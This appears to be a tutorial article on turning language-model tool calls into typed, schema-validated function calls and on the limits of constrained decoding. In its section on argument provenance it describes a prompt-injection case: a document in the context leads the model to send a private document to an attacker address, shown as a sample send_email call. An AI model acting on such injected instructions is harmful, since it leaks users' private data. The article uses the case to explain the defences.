Agentsimplementation

Typed Tool Calls

A tool call is a function call whose arguments came from an untrusted source, so the boundary needs a type checker. JSON Schema is that type system, constrained decoding is the technique that makes malformed calls unsamplable rather than merely detectable, and neither of them says anything about whether the call should happen.

The question

How do I turn a model's tool call into a typed function call I can actually dispatch?

SourceLexingTokensParsingASTSemanticsTypedIROptimizeCodegenMachine codeLinkExecute
What the program is here

Three forms, and confusing them is the whole problem. A byte string that may or may not be JSON. A JSON value: an unstructured tree of objects, arrays, strings, numbers and booleans, with no relationship to any tool. A typed call: a tool reference plus an argument record whose every field has been checked against a declared parameter type, so the dispatcher can hand it to a typed function without a cast. The schema is the typing rule set; the validator is the type checker; the typed call is [[annotated-ast]] for one node.

What this phase may assume or do

A call may be dispatched only if every required parameter is present, every present value inhabits its declared type, every enum-valued field is one of the declared members, and — where the schema is closed — no undeclared field appears. Under exactly those conditions the dispatcher may treat the argument record as the tool's declared parameter type without further checking. It may not conclude anything else: that the values are the right ones, that the referenced resources exist, or that this caller may act on them. [[what-a-type-system-proves]] is the general statement, and it applies here unchanged.

Key points

  • A tool call is a function call across a trust boundary, so the boundary needs a type checker; JSON Schema is a small, adequate type system for the job.
  • Validate once at the dispatcher, not inside each tool, so tool bodies receive typed values and cannot drift apart.
  • Close your schemas. additionalProperties: false turns a hallucinated extra argument into a rejection instead of a silent ignore.
  • Constrained decoding makes malformed output unsamplable rather than merely detectable — a strictly stronger guarantee, where the provider supports it.
  • Numeric ranges and cross-field constraints usually cannot be expressed in a decoder grammar and must stay in the validator.
  • A well-typed call can still be semantically wrong, target a nonexistent resource, or be unauthorized. None of those are type errors.
  • Argument provenance — which context produced this value — is invisible to any schema, and that is where prompt-injection damage lives.

Type checking at a trust boundary

Inside a program, a function call's arguments have already been type-checked by the compiler; the callee is entitled to assume it. At the model boundary that assumption is gone. The arguments arrived as text from a process that has no obligation to respect any type at all, so something must re-establish the property the compiler normally establishes — and that something is [[type-checking]], running at run time, at exactly one place.

The place matters. If each tool validates its own arguments, then every tool needs the code, the checks drift apart, and a tool added in a hurry has none. If the validation happens once, at the dispatcher, then the tool bodies receive typed values and can be written as ordinary functions. This is the same argument for a single frontend that [[multiple-frontends-one-backend]] makes about compilers, run in the other direction.

The type system here is modest and that is fine. Objects, arrays, strings, numbers, booleans, enums, required fields, and some range and pattern constraints. It has no polymorphism worth the name and no inference. It is roughly the expressive power of a C struct declaration, which is exactly enough to establish the property the dispatcher needs.

The boundary, made explicit
1// The declared parameter type. This is the tool's signature, and it is
2// also what the model is shown, so the two cannot drift.
3const refundSchema = {
4 type: 'object',
5 required: ['order_id', 'amount_cents', 'reason'],
6 additionalProperties: false, // closed: unknown fields are errors
7 properties: {
8 order_id: { type: 'string', pattern: '^ord_[a-z0-9]{12}$' },
9 amount_cents: { type: 'integer', minimum: 1, maximum: 50_000 },
10 reason: { enum: ['damaged', 'late', 'duplicate', 'other'] },
11 },
12} as const
13
14// One place. The tool body never sees an unvalidated value.
15const call = parseJson(raw) // syntax
16const tool = registry.lookup(call.name) // resolution
17const args = validate(call.arguments, tool.schema) // typing
18const decision = policy.check(principal, tool, args) // authority
19if (decision.allow) await tool.run(args) // args is typed here

Four distinct rejections, four distinct messages, four distinct owners. Notice additionalProperties: false: an open schema silently accepts fields the tool ignores, which is how a model's hallucinated override: true argument becomes invisible instead of rejected.

Constrained decoding: impossible, not merely detected

implementationConstrained decoding requires provider support and access to the token-level logit mask; it is offered by several inference stacks and by some hosted APIs as a structured-output or grammar mode, and not by all of them. Where it is unavailable the fallback is generate-then-validate-then-retry, which reaches the same destination with a worse latency distribution and no impossibility guarantee. Which numeric and cross-field constraints a given implementation can express also varies — ranges and "exactly one of these fields" commonly cannot be, and stay in the validator.

Validation detects a malformed call after it exists. Constrained decoding prevents it from existing. At each sampling step the decoder computes which tokens could continue a string that is still a prefix of something the grammar accepts, and zeroes the probability of everything else. The model cannot emit a closing brace where a value is required, because that token is not available to it.

This is the same distinction that runs through the whole domain: [[type-soundness]] is the claim that a well-typed program cannot reach a certain class of state, and it is stronger than a check that notices the state after the fact. A grammar-constrained decoder makes syntactic malformation unrepresentable in the output, which is a genuinely different guarantee from noticing it downstream.

It is also narrower than it sounds. Constrained decoding guarantees the output matches the grammar. It does not guarantee the output is *good* — a model steered token by token away from what it was going to say can produce a well-formed call with worse arguments than a model allowed to write freely and then rejected. And a schema can express "an integer between 1 and 50000" while being unable to express "the amount the customer actually paid", which is the constraint that mattered.

The grammar a decoder is constrained to, for one tool
call::="{" '"name"' ":" '"refund"' "," '"arguments"' ":" args "}"The tool name is a literal, not a free string: a nonexistent tool is unsamplable.
args::="{" order "," amount "," reason "}"Required fields are in the production, so an omitted field cannot be produced.
order::='"order_id"' ":" '"ord_' lower12 '"'The pattern constraint becomes part of the grammar, so a malformed id cannot be sampled.
amount::='"amount_cents"' ":" INTEGERThe grammar bounds the shape; the range check 1..50000 stays in the validator, because most decoders cannot express numeric ranges.
reason::='"reason"' ":" ( '"damaged"' | '"late"' | '"duplicate"' | '"other"' )An enum is a choice of literals — the case constrained decoding handles best.
lower12::=12 * ( "a".."z" | "0".."9" )

What the schema proves, and who proves the rest

The table is the honest accounting. Every row in the right-hand column is a real question that a passing schema validation does not answer, and each has a different owner. Reading a green validation as an answer to any of them is the characteristic mistake of this whole area.

The one that costs the most money is the second-to-last row. amount_cents: 2000 is a valid integer in range and it is either twenty dollars or a serious mistake depending on facts the schema has never heard of. Type systems check kinds, not values, and [[what-a-type-system-proves]] says so about compilers in exactly the same words.

The accounting for one validated tool calltypical
QuestionSchema answers it?Who answers it instead
Is this valid JSON?No — the parser does, before the schema sees anythingThe JSON parser
Does this tool exist?NoThe tool registry, by name resolution
Are all required fields present?Yes
Is amount_cents an integer?Yes
Is it in the declared range?Yes, if the schema declares one
Does this order id exist?No — the pattern proves shape, not existenceThe order service, at execution
Is this the right amount to refund?NoBusiness rules, or a human
May this caller issue refunds at all?NoThe policy engine — [[plan-validation]]

Where the argument came from is a separate question

A typed call carries no provenance. send_email(to: "attacker@example.com", body: <contents of the private document>) type-checks as cleanly as any other call, and every phase up to this point passes it. The problem is not the shape of the arguments but where their *content* came from — a document in the context that instructed the model to do this.

This is genuinely outside what a type system covers, and it is worth saying so rather than gesturing at more validation. The tools that address it are capability scoping (the agent has no credential that can email outside the org), taint tracking over context provenance, and human approval on the class of action — [[tool-permissions-least-privilege]] and [[human-approval]] in the neighbouring domains. Effect systems, which [[effect-systems]] covers in the type-implementation module, are the closest thing in the type-system world, and they track what a call may *do*, not where its data came from.

Stating the boundary this precisely is the useful part. A team that believes schema validation covers prompt injection will keep tightening schemas against an attack that does not violate any of them.

How it works

The steps, in the order the compiler takes them.

  • Each tool declares a schema for its parameters; the same schema is rendered into the model's tool description, so the contract and the documentation cannot diverge.
  • The model's output is parsed as JSON, producing an untyped value or a syntax diagnostic.
  • The call's tool name is resolved against the registry — a resolution failure, not a type failure.
  • The argument object is validated against that tool's schema, field by field, producing either a typed record or a list of type diagnostics with the failing path.
  • Where the provider supports it, the schema is compiled into a decoding grammar so that syntactically invalid calls are never sampled; the validator still runs, because the grammar cannot express every constraint.
  • The typed record is handed to the policy engine and then to the tool body, which is written against the declared parameter type with no defensive checks.
  • Type diagnostics are returned as structured errors that name the failing field path, which is what makes an automated repair attempt precise rather than a re-roll.

How it breaks

What the engineer observes when it goes wrong — not what goes wrong internally.

  • A hallucinated argument like force: true is silently ignored by an open schema, and a behaviour the model expected does not happen — with no error and no log line to explain the gap.
  • A field arrives as "20" instead of 20, a permissive validator coerces it, and downstream arithmetic on a string produces a wrong amount with no exception anywhere.
  • The tool description shown to the model drifts from the schema used to validate, so the model is being graded against a contract it was never shown; the symptom is a persistent validation failure rate that no prompt change fixes.
  • Constrained decoding is enabled and quality drops on hard cases, because the model is being steered token by token away from the completion it would have chosen, and nobody connects the two changes.
  • A well-typed call is dispatched to a resource that does not exist, and the failure surfaces deep inside a tool as a null dereference rather than as a rejection at the boundary.
  • Validation is done inside each tool, one tool skips a check, and that tool becomes the only path an attacker needs; nothing in the architecture makes the gap visible.

When it helps

  • Any tool that takes more than one argument, where positional or type confusion between two similar fields is a live risk.
  • Tools with irreversible effects, where a range or enum constraint is a cheap, hard bound on the worst case.
  • Large tool registries, where one validating dispatcher is the only way the checks stay consistent as tools are added.
  • Systems that need to hand a precise repair message back to the model, since a typed diagnostic names the field and the expected type.

When it hurts

  • Tools whose natural argument is genuinely free-form text — a summary, a message body — where a schema can only assert type: string and adds ceremony without adding a guarantee.
  • Rapidly changing tool sets, where schema-and-description drift becomes a maintenance tax unless they are generated from one source.
  • Latency-sensitive paths where constrained decoding is slower than free generation, and the malformed-output rate was already low enough that generate-and-validate was cheaper in expectation.

What it costs

Every one of these is paid by something.

  • A strict, closed schema buys rejection of unexpected arguments and costs task completion: a model that produces a slightly different but reasonable call is refused, and the user sees a failure where a human would have understood.
  • Constrained decoding buys syntactic impossibility of malformed output and costs provider lock-in, some generation quality on hard cases, and sometimes throughput — the mask has to be computed for every step.
  • Validating once at the dispatcher buys consistency and costs a coupling: every tool now depends on the dispatcher's schema dialect and its version, and upgrading it is a fleet-wide change.
  • Rich schemas with patterns and ranges buy tighter bounds and cost expressiveness in the decoder — the richer the schema, the more of it cannot be compiled into a grammar and must be re-checked afterwards anyway.

What else you could do

What a different compiler or language does instead, and when that is better.

  • Generate-then-validate-then-retry with no decoder constraint: portable across every provider, and it pays in latency and in a nonzero rate of unrecoverable malformed output.
  • Function signatures in the host language as the source of truth, with the schema generated from them. Removes drift by construction and ties the tool contract to one language's type system — the [[schema-first-vs-code-first]] trade in API Design, unchanged.
  • A typed plan language instead of per-call schemas, so arguments are checked as part of [[agent-dsls]] rather than one call at a time. Better for multi-step review, more machinery.
  • Runtime-only checking inside each tool, with no boundary type check. Simplest, and it makes the guarantee a property of each tool author's diligence rather than of the system.

See it for yourself

The flag, dump or tool that shows you this directly.

  • Log every validation failure with the failing JSON path and the expected type; aggregate by path. One field dominating the failures is a schema or description problem, not a model problem.
  • Diff the tool description the model receives against the schema the validator uses, in a test. Drift between them is invisible in production and obvious in a diff.
  • Turn additionalProperties: false on in a staging environment and count the rejections. Every one is an argument the model was inventing and you were silently discarding.
  • If constrained decoding is available, run the same eval set with and without it and compare both the malformed rate and the task success rate — the second number is the one people forget to look at.
  • For the compiler analogue, /compilers/pipeline shows AtlasLang's checker rejecting let flag: bool = 5; with the same shape of message a schema validator produces: declared type, found type, and the span.

Plausible wrong readings

Stated the way a confident engineer states them.

  • "The model supports structured output, so the arguments are validated." Structured output constrains the syntax. Whether amount_cents is within your business limits is a check you still have to run.
  • "A schema is documentation." It is a contract that is enforced. If it is not the same artifact the model is shown, it is a contract one party has not read.
  • "Type-checking the call makes the call safe." It makes the call well-formed. Authorization is a separate phase and semantic correctness is not a phase at all.
  • "Extra fields are harmless, the tool ignores them." An ignored field is a divergence between what the model believed it requested and what happened, and it is invisible. That is worse than an error.
  • "Constrained decoding is strictly better." It is strictly better at syntax and can be worse at content, because the model is being prevented from taking the path it had the most probability mass on.

Misconceptions

The claim, and what is actually true.

JSON Schema is not a type system.
It is a structural one, with product types, enumerated sums, refinements on primitives, and a checker. It is limited, but the limitation is expressiveness, not category.
If the schema is right, the tool body needs no checks.
The tool body needs no checks about argument *kinds*. It still needs to handle a valid order id that refers to nothing, a valid amount that exceeds the order total, and a valid enum member that this account cannot use.
Constrained decoding solves prompt injection.
It constrains the shape of the output. An injected instruction that produces a perfectly-shaped call to a permitted tool with attacker-chosen arguments violates no grammar at all.

Go deeper

The same idea at increasing depth. Stop wherever it stops being useful.

overview

A tool call is a function call whose arguments were written by something you do not control, so check them the way a compiler checks a call: does the function exist, are all the required arguments there, is each one the right type. Declare that as a schema, validate in one place before dispatching, and close the schema so an argument you never declared is an error rather than something you silently ignore.

practical

Generate the tool description the model sees from the same schema the validator uses — drift between them is a silent, persistent failure source that no prompt change fixes. Close your schemas and watch what gets rejected; the rejected arguments are what the model believed it was asking for. When you feed a validation error back for repair, include the field path and the expected type, and cap the retries: two failures on the same field means the description is wrong, not that the model needs another try. If your provider supports constrained decoding, measure task success as well as malformed rate before turning it on globally.

advanced

The interesting frontier is what the schema cannot express, and there are two kinds. The first is expressiveness: cross-field constraints, "this field is required only when that one has this value", and any constraint that depends on state outside the call. Those can be pushed into a validator but not into a decoder grammar, so the impossibility guarantee stops at the boundary of what the grammar covers, and knowing exactly where that boundary sits for your provider is part of the design. The second is provenance, and it is not an expressiveness problem at all. No refinement of a parameter type distinguishes an argument the user asked for from an identical argument a malicious document asked for. That is a taint question, and taint needs to be tracked through the context assembly, not asserted at the call. Effect systems are the type-theoretic neighbour, and they track what a call may do rather than where its data came from — which means even the strongest type system in the vicinity solves the adjacent problem, not this one.

How much this depends on

Nothing in this domain is true of every compiler. These say how much.

implementationGrammar-constrained decoding depends on the inference stack exposing token-level logit masking, and the set of constraints that can be compiled into a grammar differs between implementations. Numeric ranges, cross-field dependencies and "exactly one of" are commonly not expressible and remain the validator's job wherever you run.
typicalJSON Schema is the mainstream tool-parameter type system in 2026 and is what most hosted tool-calling APIs accept, but the supported subset varies by provider — several accept only a restricted profile. A schema that validates locally can be rejected or silently reduced by a provider, so the check that matters is against the provider you actually call.
simplifiedThe type system described here has no polymorphism, no inference and no subtyping beyond enum membership. Real parameter schemas grow unions and conditional requirements almost immediately, and each addition makes both the validator and the decoder grammar substantially harder — the same complexity curve [[union-types]] describes for real type systems.

If you were asked this in an interview

  • A model returns {"name": "refund", "arguments": {"order_id": "ord_x", "amount_cents": "20", "force": true}}. Walk me through every check that should reject something here, and what each rejection means.
  • What is the difference in guarantee between validating a tool call and constraining the decoder that produced it?
  • Give me three questions a passing schema validation does not answer, and say who answers each.

Connections